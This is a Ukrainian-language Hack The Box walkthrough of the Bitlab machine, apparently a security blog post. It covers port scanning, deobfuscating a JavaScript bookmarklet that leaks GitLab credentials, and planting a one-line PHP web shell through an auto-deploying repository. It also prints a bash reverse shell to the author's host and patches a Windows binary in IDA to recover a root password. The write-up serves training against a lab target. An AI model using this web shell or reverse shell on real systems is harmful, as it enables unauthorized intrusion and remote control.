20. Hack The Box. Level Medium: Проходження Bitlab. Слабка JS обфускація, GIT та реверс Windows програми

24.12.2024 2 хвилин Автор: Lady Liberty

Hack The Box — це платформа для кібербезпеки, яка дозволяє випробувати свої навички у реальних завданнях. У цьому детальному розборі ми зосередимося на рішенні машини Bitlab, яка поєднує в собі слабку обфускацію JavaScript, роботу з GitLab та реверсинг Windows-додатків.

Bitlab на Hack The Box: JS, GitLab і реверс Windows

У даній статті розглядаються ключові аспекти: легка обфускація JavaScript, завантаження бекдора через Git-репозиторій та налагодження 32-бітного додатка.

Для підключення до лабораторії використовується VPN. Не рекомендується здійснювати підключення з робочого комп’ютера чи пристрою, що містить важливі дані, оскільки приватна мережа може включати учасників із високими знаннями в області кібербезпеки.

Розвідка

Сканування портів

Ця машина має IP адресу 10.10.10.114, яку додаємо в /etc/hosts

10.10.10.114 bitlab.htb

Спочатку виконується сканування відкритих портів. Оскільки повне сканування всіх портів за допомогою nmap займає багато часу, першим кроком використовується masscan. Цей інструмент дозволяє швидко просканувати всі TCP та UDP порти з інтерфейсу tun0 зі швидкістю 1000 пакетів на секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

Далі потрібно зібрати більше інформації про відомі нам порти.

nmap -A bitlab.htb -p22,80

Згідно зі звітом nmap, на хості активні SSH і веб-сервер. На веб-сервері виявлено файл robots.txt. Після аналізу директорій, зазначених у цьому файлі, виявлено активний GitLab і непроіндексовану директорію help.

Переходячи на сторінку bookmarks, маємо кілька посилань.

JS

Усі посилання ведуть на сторінки різних продуктів, за винятком останнього, яке містить не адресу, а JavaScript-код.

Причому цей код обфусовано.

javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

Щоб отримати більш читаний код, можна користуватися наступним сайтом.

Трохи доопрацювавши код, отримаємо виконання наступних інструкцій.

document.getElementById("user_login").value = "clave";
document.getElementById("user_password").value = "11des0081x";

Git

З цими даними авторизуємось у gitlab. Там знаходимо два профілі.

Також можна виявити один проект, у якому реалізовано підключення до бази даних. У коді містяться всі необхідні дані для встановлення з’єднання.

Перевіривши Profile, нічого цікавого не знаходимо.

У Deployer тільки php код.

З аналізу коду зрозуміло, що при розміщенні файлу у профілі він автоматично розгортається на сервері.

Entry Рoint

Необхідно розмістити PHP-бекдор, який, наприклад, зможе приймати та виконувати команди.

<?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>

Відкриваємо Profile та створюємо новий файл.

І після додавання файл з’явиться у репозиторії.

Тепер тестуємо бекдор.

Отримаємо повноцінний шелл.

bash -i >& /dev/tcp/10.10.15.150/4321 0>&1

Бачимо зворотне підключення до свого хоста.

USER

Після отримання доступу до хоста необхідно перевірити раніше здобуті дані, зокрема облікові дані для підключення до бази даних. Відкривається PHP-інтерпретатор у інтерактивному режимі. Використовується знайдений код для перегляду доступних даних. Пароль, зашифрований у форматі Base64, декодується для подальшого використання.

У результаті вдалося отримати пароль, який, як передбачалося, міг бути використаний для підключення через SSH. Проте спроба не увінчалася успіхом, оскільки сам текст у форматі Base64 і є паролем.

ROOT

Під час огляду машини в домашній директорії користувача було виявлено exe-файл.

scp [email protected]:~/RemoteConnection.exe .

Далі відкриваємо файл у IDA Pro. Прогорнувши головну функцію main, можна знайти порівняння змінної з ім’ям користувача та створення процесу з putty – програма для мережних з’єднань.

Можна припустити, що з’єднання здійснюється з використанням аутентифікаційних даних, які необхідно знайти. Дані з’єднання передаються в putty як параметр, тобто змінна v3.

Готовий рядок можна переглянути під час налагодження, але у IDA 32-бітний файл виглядає незручно. Покрокове налагодження показує, що це відбувається після виклику GetUserNameW. Далі дії виконуються так:

Встановлюється брейкпоінт на фрагменті, де порівнюється ім’я.

Тепер встановлюємо брейкпоінт (BP) перед завантаженням параметрів для функції GetUserNameW.

Запустимо програму у відладчику. Налагодження зупиниться перед викликом потрібної функції.

Тепер виконується патчинг коду. Замість завантаження параметрів і виклику функції необхідно вставити інструкцію NOP. Для цього використовується плагін Keypatch.

Тепер код має такий вигляд.

Продовжуємо налагодження програми, щоб дійти до моменту порівняння імені. На цьому етапі адреса рядка параметра вже буде завантажена в регістр EAX для подальшої передачі як параметра у функцію ShellExecuteW.

Тепер натискаємо на стрілочку (jump in disassembly) поруч із регістром EAX. Це дозволяє перейти за адресою, що зберігається у EAX, у головному вікні IDA.

За цією адресою знаходиться рядок параметра. Як видно, він символічно представляє коректний текст “-ssh root…”, але кожен символ займає 2 байти. Для зручного збирання рядка використовується комбінація клавіш Alt+A.

І в цьому вікні вибираємо Unicode C-Style (16 bit). Після чого спостерігаємо коректно зібраний рядок.

У цьому рядку міститься пароль користувача root. Використовуємо його для підключення через SSH і отримуємо токен.

Висновок

Аналіз машини Bitlab показав, як через сканування, використання вразливостей GitLab, налагодження exe-файла та підключення по SSH можна отримати токен. Це приклад ефективного вирішення задач у кібербезпеці.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.